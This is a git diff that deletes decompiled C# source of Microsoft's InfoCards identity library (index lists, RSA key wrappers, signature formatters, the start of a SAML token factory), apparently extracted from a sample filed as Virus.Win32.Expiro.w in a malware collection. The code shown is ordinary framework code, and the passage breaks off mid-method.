a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SecondaryIndexList.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SecondaryIndexList.cs deleted file mode 100644 index c2f4e17c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SecondaryIndexList.cs +++ /dev/null @@ -1,203 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SecondaryIndexList -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections; -using System.Collections.Generic; -using System.Globalization; - -namespace Microsoft.InfoCards -{ - internal class SecondaryIndexList - { - private Hashtable m_indexes; - private bool m_isOpen; - private IComparer m_searchComparer; - private IComparer m_sortComparer; - - public SecondaryIndexList(SecondaryIndexDefinition[] definitions) - { - if (definitions == null || definitions.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (definitions)); - this.m_indexes = new Hashtable(definitions.Length, (IEqualityComparer) StringComparer.Create(CultureInfo.InvariantCulture, false)); - this.m_sortComparer = (IComparer) new SecondaryIndexList.SortComparer(); - this.m_searchComparer = (IComparer) new SecondaryIndexList.SearchComparer(); - for (int index = 0; index < definitions.Length; ++index) - this.m_indexes.Add((object) definitions[index].Name, (object) new SecondaryIndex(definitions[index], this.m_searchComparer, this.m_sortComparer)); - this.m_isOpen = true; - } - - public int Count - { - get - { - this.ThrowIfNotOpen(); - return this.m_indexes.Count; - } - } - - internal Hashtable InnerIndexes - { - get - { - this.ThrowIfNotOpen(); - return this.m_indexes; - } - } - - public void SetBuffer(string indexId, byte[] buffer, int lastIndex) - { - this.ThrowIfNotOpen(); - if (!this.m_indexes.ContainsKey((object) indexId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (indexId), (object) indexId, SR.GetString("StoreIndexNameInvalid"))); - if (buffer == null || buffer.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (buffer)); - if ((uint) lastIndex > (uint) buffer.Length && lastIndex != -1) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (lastIndex), (object) lastIndex, SR.GetString("StoreLastIndexOutOfRange"))); - ((SecondaryIndex) this.m_indexes[(object) indexId]).SetBuffer(buffer, lastIndex); - } - - public void SetValuesForId(int localId, DataRowIndexBuffer indexBuffer, bool remove) - { - this.ThrowIfNotOpen(); - if (localId < 0) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (localId), (object) localId, SR.GetString("StoreLocalIdOutOfRange"))); - if (indexBuffer == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (indexBuffer)); - this.PreValidateIndexBuffer(indexBuffer); - foreach (string key in (IEnumerable) this.m_indexes.Keys) - ((SecondaryIndex) this.m_indexes[(object) key]).SetValuesForId(localId, indexBuffer, remove); - } - - public bool Match(QueryParameter match, LocalIdCollection localIds) - { - this.ThrowIfNotOpen(); - if (localIds == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (localIds)); - if (match == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (match)); - if (!this.m_indexes.ContainsKey((object) match.IndexName)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (match), (object) match.IndexName, SR.GetString("StoreIndexNameInvalid"))); - SecondaryIndex index1 = (SecondaryIndex) this.m_indexes[(object) match.IndexName]; - if (-1 == index1.LastIndex) - return false; - bool flag = false; - for (int index2 = 0; index2 < match.Count; ++index2) - { - IndexObject indexObject = match[index2]; - if (index1.Match(indexObject, localIds, 0, index1.LastIndex) >= 0) - flag = true; - } - return flag; - } - - public void PopulateRowIndexBuffer(DataRow row) - { - this.ThrowIfNotOpen(); - DataRowIndexBuffer indexBuffer = row.IndexBuffer; - foreach (string key in (IEnumerable) this.m_indexes.Keys) - ((SecondaryIndex) this.m_indexes[(object) key]).PopulateRowIndexBuffer(row.IndexBuffer, row.LocalId); - } - - public void RemoveAllValuesForId(int id) - { - foreach (string key in (IEnumerable) this.m_indexes.Keys) - this.RemoveAllValuesForId(key, id); - } - - public void RemoveAllValuesForId(string indexId, int id) - { - this.ThrowIfNotOpen(); - if (!this.m_indexes.ContainsKey((object) indexId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (indexId), (object) indexId, SR.GetString("StoreIndexNameInvalid"))); - ((SecondaryIndex) this.m_indexes[(object) indexId]).RemoveAllValuesForId(id); - } - - public void Close() - { - if (!this.m_isOpen) - return; - foreach (string key in (IEnumerable) this.m_indexes.Keys) - ((SecondaryIndex) this.m_indexes[(object) key]).Close(); - this.m_isOpen = false; - } - - private void PreValidateIndexBuffer(DataRowIndexBuffer buffer) - { - foreach (string key in (IEnumerable) this.m_indexes.Keys) - { - SecondaryIndex index = (SecondaryIndex) this.m_indexes[(object) key]; - if (SecondaryIndexSettings.Nullable != (index.Definition.Settings & SecondaryIndexSettings.Nullable) && (buffer[key] == null || buffer.GetValueCount(key) == 0)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreIndexValueCanNotBeNull", (object) index.Definition.Name))); - } - } - - private void ThrowIfNotOpen() - { - if (!this.m_isOpen) - throw InfoCardTrace.ThrowHelperError((Exception) new ObjectDisposedException(nameof (SecondaryIndexList))); - } - - private class SearchComparer : IComparer - { - public unsafe int Compare(IntPtr x, IntPtr y) - { - if (IntPtr.Zero == x) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (x)); - return !(IntPtr.Zero == y) ? SecondaryIndexList.SearchComparer.Compare((SecondaryIndexItem*) (void*) x, (SecondaryIndexItem*) (void*) y) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (y)); - } - - public static unsafe int Compare(SecondaryIndexItem obj1, SecondaryIndexItem obj2) => SecondaryIndexList.SearchComparer.Compare(&obj1, &obj2); - - public static unsafe int Compare(SecondaryIndexItem* pObj1, SecondaryIndexItem* pObj2) - { - if (IntPtr.Zero == (IntPtr) pObj1) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (pObj1)); - if (IntPtr.Zero == (IntPtr) pObj2) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (pObj2)); - byte* numPtr1 = &pObj1->HashValue; - byte* numPtr2 = &pObj2->HashValue; - for (int index = 0; index < 60; ++index) - { - int num = (int) numPtr1[index] - (int) numPtr2[index]; - if (num != 0) - return num; - } - return 0; - } - } - - private class SortComparer : IComparer - { - public unsafe int Compare(IntPtr x, IntPtr y) - { - if (IntPtr.Zero == x) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (x)); - return !(IntPtr.Zero == y) ? SecondaryIndexList.SortComparer.Compare((SecondaryIndexItem*) (void*) x, (SecondaryIndexItem*) (void*) y) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (y)); - } - - public static unsafe int Compare(SecondaryIndexItem obj1, SecondaryIndexItem obj2) => SecondaryIndexList.SortComparer.Compare(&obj1, &obj2); - - public static unsafe int Compare(SecondaryIndexItem* pObj1, SecondaryIndexItem* pObj2) - { - if (IntPtr.Zero == (IntPtr) pObj1) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (pObj1)); - if (IntPtr.Zero == (IntPtr) pObj2) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (pObj2)); - byte* numPtr1 = &pObj1->HashValue; - byte* numPtr2 = &pObj2->HashValue; - for (int index = 0; index < 60; ++index) - { - int num = (int) numPtr1[index] - (int) numPtr2[index]; - if (num != 0) - return num; - } - return pObj1->LocalId - pObj2->LocalId; - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SecondaryIndexSettings.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SecondaryIndexSettings.cs deleted file mode 100644 index 6cfbefaf..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SecondaryIndexSettings.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SecondaryIndexSettings -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; - -namespace Microsoft.InfoCards -{ - [Flags] - internal enum SecondaryIndexSettings - { - None = 0, - Nullable = 1, - Unique = 2, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SecurityKeyTypeInternal.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SecurityKeyTypeInternal.cs deleted file mode 100644 index 4a0b4b52..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SecurityKeyTypeInternal.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SecurityKeyTypeInternal -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -namespace Microsoft.InfoCards -{ - internal enum SecurityKeyTypeInternal - { - SymmetricKey, - AsymmetricKey, - NoKey, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SelfIssuedAuthAsymmetricKey.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SelfIssuedAuthAsymmetricKey.cs deleted file mode 100644 index 38f56953..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SelfIssuedAuthAsymmetricKey.cs +++ /dev/null @@ -1,107 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SelfIssuedAuthAsymmetricKey -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IdentityModel.Tokens; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal class SelfIssuedAuthAsymmetricKey : AsymmetricSecurityKey, IDisposable - { - private SelfIssuedAuthRSACryptoProvider m_selfIssuedAuthRsaCryptoProvider; - - public SelfIssuedAuthAsymmetricKey(RSACryptoServiceProvider rsa) => this.m_selfIssuedAuthRsaCryptoProvider = new SelfIssuedAuthRSACryptoProvider(rsa); - - public override int KeySize => this.m_selfIssuedAuthRsaCryptoProvider.KeySize; - - public override bool HasPrivateKey() - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_selfIssuedAuthRsaCryptoProvider.IsPublicOnly(), "selfIssuedRsaCrypoProvider"); - return true; - } - - public override AsymmetricAlgorithm GetAsymmetricAlgorithm( - string algorithmUri, - bool privateKey) - { - switch (algorithmUri) - { - case "http://www.w3.org/2000/09/xmldsig#rsa-sha1": - case "http://www.w3.org/2001/04/xmlenc#rsa-1_5": - case "http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p": - return (AsymmetricAlgorithm) this.m_selfIssuedAuthRsaCryptoProvider; - default: - throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException(SR.GetString("ClientUnsupportedCryptoAlgorithm", (object) algorithmUri))); - } - } - - public override HashAlgorithm GetHashAlgorithmForSignature(string algorithmUri) - { - switch (algorithmUri) - { - case "http://www.w3.org/2000/09/xmldsig#rsa-sha1": - return (HashAlgorithm) new SHA1Managed(); - default: - throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException(SR.GetString("UnsupportedSignatureAlgorithm", (object) algorithmUri))); - } - } - - public override AsymmetricSignatureDeformatter GetSignatureDeformatter( - string algorithmUri) - { - switch (algorithmUri) - { - case "http://www.w3.org/2000/09/xmldsig#rsa-sha1": - return (AsymmetricSignatureDeformatter) new SelfIssuedAuthRSAPKCS1SignatureDeformatter((AsymmetricAlgorithm) this.m_selfIssuedAuthRsaCryptoProvider); - default: - throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException(SR.GetString("UnsupportedSignatureAlgorithm", (object) algorithmUri))); - } - } - - public override AsymmetricSignatureFormatter GetSignatureFormatter( - string algorithmUri) - { - switch (algorithmUri) - { - case "http://www.w3.org/2000/09/xmldsig#rsa-sha1": - return (AsymmetricSignatureFormatter) new SelfIssuedAuthRSAPKCS1SignatureFormatter((AsymmetricAlgorithm) this.m_selfIssuedAuthRsaCryptoProvider); - default: - throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException(SR.GetString("UnsupportedSignatureAlgorithm", (object) algorithmUri))); - } - } - - public override byte[] DecryptKey(string algorithmUri, byte[] keyData) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - public override byte[] EncryptKey(string algorithmUri, byte[] keyData) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - public override bool IsSupportedAlgorithm(string algorithmUri) - { - switch (algorithmUri) - { - case "http://www.w3.org/2000/09/xmldsig#rsa-sha1": - case "http://www.w3.org/2001/04/xmlenc#rsa-1_5": - case "http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p": - return true; - default: - return false; - } - } - - public override bool IsSymmetricAlgorithm(string algorithmUri) => InfoCardCryptoHelper.IsSymmetricAlgorithm(algorithmUri); - - public override bool IsAsymmetricAlgorithm(string algorithmUri) => InfoCardCryptoHelper.IsAsymmetricAlgorithm(algorithmUri); - - public void Dispose() - { - if (this.m_selfIssuedAuthRsaCryptoProvider == null) - return; - this.m_selfIssuedAuthRsaCryptoProvider.Dispose(); - this.m_selfIssuedAuthRsaCryptoProvider = (SelfIssuedAuthRSACryptoProvider) null; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SelfIssuedAuthProofToken.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SelfIssuedAuthProofToken.cs deleted file mode 100644 index 379fe1ae..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SelfIssuedAuthProofToken.cs +++ /dev/null @@ -1,82 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SelfIssuedAuthProofToken -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Collections.Generic; -using System.Collections.ObjectModel; -using System.IdentityModel.Tokens; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal class SelfIssuedAuthProofToken : SecurityToken, IDisposable - { - private string m_id; - private DateTime m_expiration; - private ReadOnlyCollection m_securityKeys; - private SecurityKey m_securityKey; - private bool m_isSymmetric; - private RSACryptoServiceProvider m_publicKey; - - public SelfIssuedAuthProofToken(RSACryptoServiceProvider rsa, DateTime expiration) - : this(expiration) - { - this.m_publicKey = new RSACryptoServiceProvider(); - this.m_publicKey.ImportCspBlob(rsa.ExportCspBlob(false)); - this.InitCrypto((SecurityKey) new SelfIssuedAuthAsymmetricKey(rsa)); - } - - public SelfIssuedAuthProofToken(InMemorySymmetricSecurityKey symKey, DateTime expiration) - : this(expiration) - { - this.m_isSymmetric = true; - this.InitCrypto((SecurityKey) symKey); - } - - private SelfIssuedAuthProofToken(DateTime expiration) - { - this.m_id = Guid.NewGuid().ToString(); - this.m_expiration = expiration.ToUniversalTime(); - } - - public override string Id => this.m_id; - - public override ReadOnlyCollection SecurityKeys => this.m_securityKeys; - - public override DateTime ValidTo => this.m_expiration; - - public override DateTime ValidFrom => DateTime.UtcNow; - - private void InitCrypto(SecurityKey securityKey) - { - this.m_securityKey = securityKey; - this.m_securityKeys = new List(1) - { - securityKey - }.AsReadOnly(); - } - - public override bool CanCreateKeyIdentifierClause() => (object) typeof (T) == (object) typeof (RsaKeyIdentifierClause); - - public override T CreateKeyIdentifierClause() => (object) typeof (T) == (object) typeof (RsaKeyIdentifierClause) ? (T) new RsaKeyIdentifierClause((RSA) this.m_publicKey) : base.CreateKeyIdentifierClause(); - - public override bool MatchesKeyIdentifierClause(SecurityKeyIdentifierClause keyIdentifierClause) => keyIdentifierClause is RsaKeyIdentifierClause identifierClause && identifierClause.Matches((RSA) this.m_publicKey); - - public void Dispose() - { - if (this.m_securityKey != null && !this.m_isSymmetric) - { - ((IDisposable) this.m_securityKey).Dispose(); - this.m_securityKey = (SecurityKey) null; - this.m_securityKeys = (ReadOnlyCollection) null; - } - if (this.m_publicKey == null) - return; - this.m_publicKey.Dispose(); - this.m_publicKey = (RSACryptoServiceProvider) null; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SelfIssuedAuthRSACryptoProvider.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SelfIssuedAuthRSACryptoProvider.cs deleted file mode 100644 index 9ba781a6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SelfIssuedAuthRSACryptoProvider.cs +++ /dev/null @@ -1,63 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SelfIssuedAuthRSACryptoProvider -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal class SelfIssuedAuthRSACryptoProvider : RSA - { - private RSACryptoServiceProvider m_rsa; - - public SelfIssuedAuthRSACryptoProvider(RSACryptoServiceProvider rsa) => this.m_rsa = rsa; - - public override string SignatureAlgorithm => this.m_rsa.SignatureAlgorithm; - - public override string KeyExchangeAlgorithm => this.m_rsa.KeyExchangeAlgorithm; - - public bool IsPublicOnly() => this.m_rsa.PublicOnly; - - public override byte[] EncryptValue(byte[] rgb) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - public override byte[] DecryptValue(byte[] rgb) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - public byte[] Decrypt(byte[] inData, bool fAOEP) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - public byte[] Encrypt(byte[] inData, bool fAOEP) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - public byte[] SignHash(byte[] hash, string hashAlgOid) - { - InfoCardTrace.ThrowInvalidArgumentConditional(hash == null || 0 == hash.Length, nameof (hash)); - InfoCardTrace.ThrowInvalidArgumentConditional(string.IsNullOrEmpty(hashAlgOid), nameof (hashAlgOid)); - return this.m_rsa.SignHash(hash, hashAlgOid); - } - - public bool VerifyHash(byte[] hash, string hashAlgOid, byte[] sig) - { - InfoCardTrace.ThrowInvalidArgumentConditional(hash == null || 0 == hash.Length, nameof (hash)); - InfoCardTrace.ThrowInvalidArgumentConditional(string.IsNullOrEmpty(hashAlgOid), nameof (hashAlgOid)); - InfoCardTrace.ThrowInvalidArgumentConditional(sig == null || 0 == sig.Length, nameof (sig)); - return this.m_rsa.VerifyHash(hash, hashAlgOid, sig); - } - - public override RSAParameters ExportParameters(bool includePrivateParameters) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - public override string ToXmlString(bool includePrivateParameters) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - public override void FromXmlString(string xmlString) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - public override void ImportParameters(RSAParameters parameters) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - protected override void Dispose(bool disposing) - { - if (this.m_rsa == null) - return; - this.m_rsa.Dispose(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SelfIssuedAuthRSAPKCS1SignatureDeformatter.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SelfIssuedAuthRSAPKCS1SignatureDeformatter.cs deleted file mode 100644 index 94cc6956..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SelfIssuedAuthRSAPKCS1SignatureDeformatter.cs +++ /dev/null @@ -1,40 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SelfIssuedAuthRSAPKCS1SignatureDeformatter -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal class SelfIssuedAuthRSAPKCS1SignatureDeformatter : RSAPKCS1SignatureDeformatter - { - private RSA m_rsaKey; - private string m_strOID; - - public SelfIssuedAuthRSAPKCS1SignatureDeformatter() - { - } - - public SelfIssuedAuthRSAPKCS1SignatureDeformatter(AsymmetricAlgorithm key) - : base(key) - { - this.m_rsaKey = (RSA) key; - } - - public override void SetKey(AsymmetricAlgorithm key) - { - base.SetKey(key); - this.m_rsaKey = (RSA) key; - } - - public override void SetHashAlgorithm(string strName) - { - base.SetHashAlgorithm(strName); - this.m_strOID = CryptoConfig.MapNameToOID(strName); - } - - public override bool VerifySignature(byte[] rgbHash, byte[] rgbSignature) => this.m_strOID != null && this.m_rsaKey != null && rgbHash != null && rgbSignature != null && this.m_rsaKey is SelfIssuedAuthRSACryptoProvider ? ((SelfIssuedAuthRSACryptoProvider) this.m_rsaKey).VerifyHash(rgbHash, this.m_strOID, rgbSignature) : base.VerifySignature(rgbHash, rgbSignature); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SelfIssuedAuthRSAPKCS1SignatureFormatter.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SelfIssuedAuthRSAPKCS1SignatureFormatter.cs deleted file mode 100644 index 8871600d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SelfIssuedAuthRSAPKCS1SignatureFormatter.cs +++ /dev/null @@ -1,40 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SelfIssuedAuthRSAPKCS1SignatureFormatter -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal class SelfIssuedAuthRSAPKCS1SignatureFormatter : RSAPKCS1SignatureFormatter - { - private RSA m_rsaKey; - private string m_strOID; - - public SelfIssuedAuthRSAPKCS1SignatureFormatter() - { - } - - public SelfIssuedAuthRSAPKCS1SignatureFormatter(AsymmetricAlgorithm key) - : base(key) - { - this.m_rsaKey = (RSA) key; - } - - public override void SetKey(AsymmetricAlgorithm key) - { - base.SetKey(key); - this.m_rsaKey = (RSA) key; - } - - public override void SetHashAlgorithm(string strName) - { - base.SetHashAlgorithm(strName); - this.m_strOID = CryptoConfig.MapNameToOID(strName); - } - - public override byte[] CreateSignature(byte[] rgbHash) => this.m_strOID != null && this.m_rsaKey != null && rgbHash != null && this.m_rsaKey is SelfIssuedAuthRSACryptoProvider ? ((SelfIssuedAuthRSACryptoProvider) this.m_rsaKey).SignHash(rgbHash, this.m_strOID) : base.CreateSignature(rgbHash); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SelfIssuedSamlTokenFactory.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SelfIssuedSamlTokenFactory.cs deleted file mode 100644 index 2e52388d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/SelfIssuedSamlTokenFactory.cs +++ /dev/null @@ -1,312 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SelfIssuedSamlTokenFactory -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Collections.ObjectModel; -using System.Globalization; -using System.IdentityModel.Tokens; -using System.IO; -using System.Security.Cryptography; -using System.ServiceModel; -using System.ServiceModel.Security; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class SelfIssuedSamlTokenFactory : TokenFactoryBase - { - private const string SamlAssertionIdPrefix = "SamlSecurityToken-"; - private const string DefaultDigestAlgorithm = "http://www.w3.org/2000/09/xmldsig#sha1"; - public static readonly TimeSpan TokenLifetime = new TimeSpan(1, 0, 0); - private static readonly SamlSerializer samlSerializer = new SamlSerializer(); - private string m_signatureAlgorithm = "http://www.w3.org/2000/09/xmldsig#rsa-sha1"; - private string m_encryptionAlgorithm = SecurityAlgorithmSuite.Default.DefaultEncryptionAlgorithm; - private string m_encryptWithAlgorithm; - private string m_keyWrapAlgorithm; - - protected override TokenDescriptor ProduceToken( - InfoCard card, - TokenCreationParameter creationParam, - TokenFactoryCredential credential, - InfoCardPolicy policy, - bool discloseOptional) - { - RSACryptoServiceProvider 